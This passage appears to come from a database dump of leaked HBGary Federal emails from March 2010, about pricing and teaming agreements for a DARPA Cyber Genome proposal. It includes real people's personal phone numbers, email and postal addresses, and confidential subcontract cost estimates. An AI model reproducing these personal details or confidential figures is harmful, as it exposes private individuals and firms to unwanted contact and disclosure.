&nbsp;Very willing to discuss, give me a call tomorrow.AaronOn Mar 9, 2010, at 6:24 PM, Anita D\'Amico wrote:Let’s talk tomorrow. What number are you at?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 09, 2010 5:58 PMTo:&nbsp;Anita D\'AmicoSubject:&nbsp;Re: DARPA Success Report approved - Secure Decisions&nbsp;Thanks Anita,&nbsp;I think as I mentioned, we believe our PTW is about $8M for TA3. &nbsp;Looking at the subs (HBGary, GD, Pikewerks, SRI, SecureDecision), I am taking a guess that when all is leveled out I am going to need you to come closer to $1M than $1.5M. &nbsp;I believe in hashing that out after folks have a chance to guage the work that is being requested, but that seems about right as a wag. &nbsp;Give me a call if you want to discuss.&nbsp;Aaron719.510.8478&nbsp;&nbsp;On Mar 9, 2010, at 5:41 PM, Anita D\'Amico wrote:Consider this some unabashed bragging, as well as information that you might want to reference when introducing your team on the CG proposal.&nbsp;The attached info was just released that AVI-Secure Decisions’ DARPA SBIR on wireless security visualization made it into the new DARPA SBIR Success Reports. The attached info will be posted to DARPA’s SBIR site and will probably be put into a soft cover book. We were featured in a previous version about 5 years ago (see&nbsp;http://www.darpa.mil/sbpo//success/index.html&nbsp;).&nbsp;&nbsp;Anita D\'Amico, Ph.D.Applied Visions, Inc. (AVI)Director, Secure Decisions Division6 Bayview Avenue, Northport, NY 11768-1502http://SecureDecisions.avi.com(631) 754-4920 ext. 147&nbsp;&nbsp;&nbsp;From:&nbsp;Wai-Lean Roos [mailto:wroos@fed.org]&nbsp;Sent:&nbsp;Tuesday, March 09, 2010 4:48 PMTo:&nbsp;Anita D\'Amico; Frank ZinghiniCc:&nbsp;Susan.Nichols@darpa.mil; Mary Ann Beyster; June Chocheles; Jim Russell (jrussell@fed.org)Subject:&nbsp;Success Report approved - Secure Decisions&nbsp;Frank and Anita,&nbsp;Please see final versions (high and low resolution) of your success report.&nbsp; This report is now available for public release and will be posted as part of the next DARPA SBIR success booklet, available this spring. See past booklets at:http://www.darpa.mil/sbpo//success/index.htmlIt has been a pleasure working with your team.&nbsp;&nbsp;Wai-Lean RoosFoundation for Enterprise Development1241 Cave Street, La Jolla CA 92037Phone: (858) 754-3559FAX: (858) 459-9218www.fed.org&nbsp;&lt;Secure Decisions Success Report FINAL lowres.pdf&gt;&lt;Secure Decisions Success Report FINAL highres.pdf&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8350,'aaron_hbgary_com/8350.html'),(3800,'2010-03-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001958.M926328P3547Q3800.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Re: Fwd: TA & NDA','\r\n\r\n-------- Original Message --------\r\nSubject: Re: Fwd: TA & NDA\r\nDate: Tue, 09 Mar 2010 15:05:21 -0800\r\nFrom: Colleen Ferguson \r\nTo: ted@hbgary.com\r\nCC: Phil Porras , Kathryn Tracy \r\n\r\nMr. Vera,\r\n\r\nHere are our redlines on the Teaming Agreement with HB Gary.  Please\r\nnote that we\'re still reviewing 7.4 and may have additional comments on\r\nthat paragraph.  Also,  we reject the NDA in favor of the Teaming\r\nAgreement\'s confidentiality terms.  Please let me know if the changes\r\nare acceptable.\r\n\r\nRegards,\r\nColleen\r\n\r\n-- \r\nColleen R. Ferguson\r\nSr. Contract Administrator\r\nSRI International\r\n(650) 859-4199\r\ncolleen.ferguson@sri.com\r\n\r\n\r\n\r\nPhil Porras wrote:\r\n> SRI/HBTeaming agreement.  I just received it today,  but I know there \r\n> is some\r\n> urgency in getting this all signed off...as the submission deadline is \r\n> looming.\r\n> Phil\r\n>\r\n>\r\n>\r\n>> X-AuditID: 8012556f-ab5b1bb000000aa9-8b-4b95724c7739\r\n>> X-Spam-Status: No, score=0.0 threshold=8.0\r\n>> X-Spam-Level:\r\n>> Date: Mon, 08 Mar 2010 14:55:18 -0700\r\n>> From: Ted Vera \r\n>> User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; \r\n>> rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3\r\n>> To: porras@csl.sri.com, \"\'Aaron Barr\'\" \r\n>> Subject: TA & NDA\r\n>> X-Enigmail-Version: 1.0.1\r\n>> X-Brightmail-Tracker: AAAAAA==\r\n>>\r\n>> Hello Phil,\r\n>>\r\n>> Attached is HBGary Federal\'s Teaming Agreement and NDA for the DARPA\r\n>> Cyber Genome Program.  Please review and if all terms and conditions are\r\n>> acceptable, then sign and return.  Email is fine, or fax to:\r\n>> 720-836-4208.  Please contact me if you have any questions.\r\n>>\r\n>> Regards,\r\n>> Ted Vera\r\n>>\r\n>> ted@hbgary.com\r\n>>\r\n>>\r\n>>\r\n\r\n\r\n',8136,'aaron_hbgary_com/8136.html'),(3801,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001960.M727305P3547Q3801.eml','\"Aaron Barr\" <aaron@hbgary.com>','COST','See Attached.\r\n\r\nTed\r\n\r\n',2490,'aaron_hbgary_com/2490.html'),(3802,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001961.M495654P3547Q3802.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,,','Re: Provided:  Revised Attachment 9 -HBGary  Pricing Template - Cyber Genome Proposal','Attached is HBGary Federal\'s initial pricing using the revised\r\nattachment 9 pricing template.\r\n\r\nPlease contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n\r\n',4946,'aaron_hbgary_com/4946.html'),(3803,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001963.M373029P3547Q3803.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Fwd: Provided:  Revised Attachment 9 -HBGary  Pricing Template - Cyber Genome Proposal','\r\nFYI\r\n\r\nBegin forwarded message:\r\n\r\n> From: Ted Vera \r\n> Date: March 9, 2010 7:46:01 PM EST\r\n> To: \"Larson, Cindy S.\" \r\n> Cc: aaron@hbgary.com, \"Vela, Ryan\" , \"Brunelli, Rex\" \r\n> Subject: Re: Provided: Revised Attachment 9 -HBGary Pricing Template - Cyber Genome Proposal\r\n> \r\n> Attached is HBGary Federal\'s initial pricing using the revised\r\n> attachment 9 pricing template.\r\n> \r\n> Please contact me if you have any questions.\r\n> \r\n> Regards,\r\n> Ted\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2176,'aaron_hbgary_com/2176.html'),(3804,'2010-03-10','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001963.M587203P3547Q3804.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Provided:  Revised Attachment 9 -HBGary  Pricing Template - Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThanks!&nbsp; We are looking at this now and will call you if we have\r\nquestions.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 09, 2010 7:47 PM\r\nTo: Starr, Christopher H.\r\nSubject: Fwd: Provided: Revised Attachment 9 -HBGary Pricing Template -\r\nCyber Genome Proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFYI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nTed\r\nVera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMarch\r\n9, 2010 7:46:01 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Larson,\r\nCindy S.&quot; &lt;Cindy.Larson@gd-ais.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\naaron@hbgary.com, &quot;Vela, Ryan&quot;\r\n&lt;Ryan.Vela@gd-ais.com&gt;,\r\n&quot;Brunelli, Rex&quot; &lt;Rex.Brunelli@gd-ais.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRe: Provided: Revised Attachment 9 -HBGary Pricing Template - Cyber Genome\r\nProposal\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAttached is HBGary Federal\'s\r\ninitial pricing using the revised\r\nattachment 9 pricing template.\r\n\r\nPlease contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9710,'aaron_hbgary_com/9710.html'),(3805,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001963.M788232P3547Q3805.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Re: DARPA Success Report approved - Secure Decisions','719.510.8478From my iPhoneOn Mar 9, 2010, at 6:24 PM, Anita D&#39;Amico &lt;anitad@securedecisions.avi.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nLet’s talk tomorrow. What number are you at?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 09, 2010 5:58 PM\r\nTo: Anita D&#39;Amico\r\nSubject: Re: DARPA Success Report approved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThanks Anita,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think as I mentioned, we believe our PTW is about $8M for\r\nTA3.  Looking at the subs (HBGary, GD, Pikewerks, SRI, SecureDecision), I\r\nam taking a guess that when all is leveled out I am going to need you to come\r\ncloser to $1M than $1.5M.  I believe in hashing that out after folks have\r\na chance to guage the work that is being requested, but that seems about right\r\nas a wag.  Give me a call if you want to discuss.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 9, 2010, at 5:41 PM, Anita D&#39;Amico wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nConsider this some unabashed bragging, as well as information\r\nthat you might want to reference when introducing your team on the CG proposal.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe attached info was just released that AVI-Secure Decisions’\r\nDARPA SBIR on wireless security visualization made it into the new DARPA SBIR\r\nSuccess Reports. The attached info will be posted to DARPA’s SBIR site and will\r\nprobably be put into a soft cover book. We were featured in a previous version\r\nabout 5 years ago (see http://www.darpa.mil/sbpo//success/index.html ).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAnita D&#39;Amico, Ph.D.\r\n\r\n\r\n\r\n\r\n\r\nApplied Visions, Inc. (AVI)\r\n\r\n\r\n\r\n\r\n\r\nDirector, Secure Decisions Division\r\n\r\n\r\n\r\n\r\n\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\n\r\n\r\n\r\n\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Wai-Lean Roos\r\n[mailto:wroos@fed.org] \r\nSent: Tuesday, March 09,\r\n2010 4:48 PM\r\nTo: Anita D&#39;Amico; Frank\r\nZinghini\r\nCc: Susan.Nichols@darpa.mil; Mary Ann\r\nBeyster; June Chocheles; Jim Russell (jrussell@fed.org)\r\nSubject: Success Report\r\napproved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrank\r\nand Anita,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nsee final versions (high and low resolution) of your success report.  This\r\nreport is now available for public release and will be posted as part of the\r\nnext DARPA SBIR success booklet, available this spring. See past booklets at:http://www.darpa.mil/sbpo//success/index.html\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nhas been a pleasure working with your team.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWai-Lean\r\nRoos\r\n\r\n\r\n\r\n\r\n\r\nFoundation for Enterprise Development\r\n\r\n\r\n\r\n\r\n\r\n1241 Cave Street, La Jolla CA 92037\r\n\r\n\r\n\r\n\r\n\r\nPhone: (858) 754-3559\r\n\r\n\r\n\r\n\r\n\r\nFAX: (858) 459-9218\r\n\r\n\r\n\r\n\r\n\r\nwww.fed.org\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;Secure\r\nDecisions Success Report FINAL lowres.pdf&gt;&lt;Secure Decisions Success\r\nReport FINAL highres.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12939,'aaron_hbgary_com/12939.html'),(3806,'2010-03-10','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001963.M999560P3547Q3806.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA Success Report approved - Secure Decisions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhat phone number should I call?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 09, 2010 6:41 PM\r\nTo: Anita D\'Amico\r\nSubject: Re: DARPA Success Report approved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNot quite sure yet since I haven\'t seen the figures from\r\nPikewerks or SRI, but if they come in at the values I am guessing and you\r\naround $1M then that hits right about $8M. &nbsp;To be honest I think even $1M\r\nis a little high as I look at the workshare and SOWs, but I also don\'t want to\r\nget too far below what we discussed. &nbsp;I don\'t expect HBGary Federal will\r\nget more than around $2M and this is primarily an analytical task. &nbsp;I am\r\nexpecting Pikewerks to be around the same, but again haven\'t seen their numbers\r\nyet. &nbsp;Very willing to discuss, give me a call tomorrow.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 9, 2010, at 6:24 PM, Anita D\'Amico wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s talk tomorrow. What number are you at?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 09,\r\n2010 5:58 PM\r\nTo:&nbsp;Anita D\'Amico\r\nSubject:&nbsp;Re: DARPA Success\r\nReport approved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks Anita,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think as I mentioned, we believe our PTW is about $8M for\r\nTA3. &nbsp;Looking at the subs (HBGary, GD, Pikewerks, SRI, SecureDecision), I\r\nam taking a guess that when all is leveled out I am going to need you to come\r\ncloser to $1M than $1.5M. &nbsp;I believe in hashing that out after folks have\r\na chance to guage the work that is being requested, but that seems about right\r\nas a wag. &nbsp;Give me a call if you want to discuss.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 9, 2010, at 5:41 PM, Anita D\'Amico wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nConsider this some unabashed bragging, as well as information\r\nthat you might want to reference when introducing your team on the CG proposal.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe attached info was just released that AVI-Secure\r\nDecisions&#8217; DARPA SBIR on wireless security visualization made it into the\r\nnew DARPA SBIR Success Reports. The attached info will be posted to\r\nDARPA&#8217;s SBIR site and will probably be put into a soft cover book. We\r\nwere featured in a previous version about 5 years ago (see&nbsp;http://www.darpa.mil/sbpo//success/index.html&nbsp;).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nApplied Visions, Inc. (AVI)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDirector, Secure Decisions Division\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Wai-Lean Roos\r\n[mailto:wroos@fed.org]&nbsp;\r\nSent:&nbsp;Tuesday, March 09,\r\n2010 4:48 PM\r\nTo:&nbsp;Anita D\'Amico; Frank\r\nZinghini\r\nCc:&nbsp;Susan.Nichols@darpa.mil; Mary Ann\r\nBeyster; June Chocheles; Jim Russell (jrussell@fed.org)\r\nSubject:&nbsp;Success Report\r\napproved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrank\r\nand Anita,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nsee final versions (high and low resolution) of your success report.&nbsp; This\r\nreport is now available for public release and will be posted as part of the\r\nnext DARPA SBIR success booklet, available this spring. See past booklets at:http://www.darpa.mil/sbpo//success/index.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nhas been a pleasure working with your team.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWai-Lean\r\nRoos\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFoundation for Enterprise Development\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1241 Cave Street, La Jolla CA 92037\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhone: (858) 754-3559\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFAX: (858) 459-9218\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.fed.org\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Secure\r\nDecisions Success Report FINAL lowres.pdf&gt;&lt;Secure Decisions Success\r\nReport FINAL highres.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13689,'aaron_hbgary_com/13689.html'),(3807,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001965.M934089P3547Q3807.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','DRAFT Pricing','I just finished Phase 1 pricing.  I know this will change upon\r\nnegotiations with the prime...\r\n\r\nTed\r\n',6619,'aaron_hbgary_com/6619.html'),(3808,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001966.M199359P3547Q3808.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Re: DARPA Success Report approved - Secure Decisions','719.510.8478AaronFrom my iPhoneOn Mar 9, 2010, at 8:58 PM, Anita D&#39;Amico &lt;anitad@securedecisions.avi.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n \r\n\r\nWhat phone number should I call?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 09, 2010 6:41 PM\r\nTo: Anita D&#39;Amico\r\nSubject: Re: DARPA Success Report approved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nNot quite sure yet since I haven&#39;t seen the figures from\r\nPikewerks or SRI, but if they come in at the values I am guessing and you\r\naround $1M then that hits right about $8M.  To be honest I think even $1M\r\nis a little high as I look at the workshare and SOWs, but I also don&#39;t want to\r\nget too far below what we discussed.  I don&#39;t expect HBGary Federal will\r\nget more than around $2M and this is primarily an analytical task.  I am\r\nexpecting Pikewerks to be around the same, but again haven&#39;t seen their numbers\r\nyet.  Very willing to discuss, give me a call tomorrow.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Mar 9, 2010, at 6:24 PM, Anita D&#39;Amico wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet’s talk tomorrow. What number are you at?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 09,\r\n2010 5:58 PM\r\nTo: Anita D&#39;Amico\r\nSubject: Re: DARPA Success\r\nReport approved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks Anita,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think as I mentioned, we believe our PTW is about $8M for\r\nTA3.  Looking at the subs (HBGary, GD, Pikewerks, SRI, SecureDecision), I\r\nam taking a guess that when all is leveled out I am going to need you to come\r\ncloser to $1M than $1.5M.  I believe in hashing that out after folks have\r\na chance to guage the work that is being requested, but that seems about right\r\nas a wag.  Give me a call if you want to discuss.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 9, 2010, at 5:41 PM, Anita D&#39;Amico wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nConsider this some unabashed bragging, as well as information\r\nthat you might want to reference when introducing your team on the CG proposal.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe attached info was just released that AVI-Secure\r\nDecisions’ DARPA SBIR on wireless security visualization made it into the\r\nnew DARPA SBIR Success Reports. The attached info will be posted to\r\nDARPA’s SBIR site and will probably be put into a soft cover book. We\r\nwere featured in a previous version about 5 years ago (see http://www.darpa.mil/sbpo//success/index.html ).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnita D&#39;Amico, Ph.D.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nApplied Visions, Inc. (AVI)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDirector, Secure Decisions Division\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Wai-Lean Roos\r\n[mailto:wroos@fed.org] \r\nSent: Tuesday, March 09,\r\n2010 4:48 PM\r\nTo: Anita D&#39;Amico; Frank\r\nZinghini\r\nCc: Susan.Nichols@darpa.mil; Mary Ann\r\nBeyster; June Chocheles; Jim Russell (jrussell@fed.org)\r\nSubject: Success Report\r\napproved - Secure Decisions\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrank\r\nand Anita,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nsee final versions (high and low resolution) of your success report.  This\r\nreport is now available for public release and will be posted as part of the\r\nnext DARPA SBIR success booklet, available this spring. See past booklets at:http://www.darpa.mil/sbpo//success/index.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nhas been a pleasure working with your 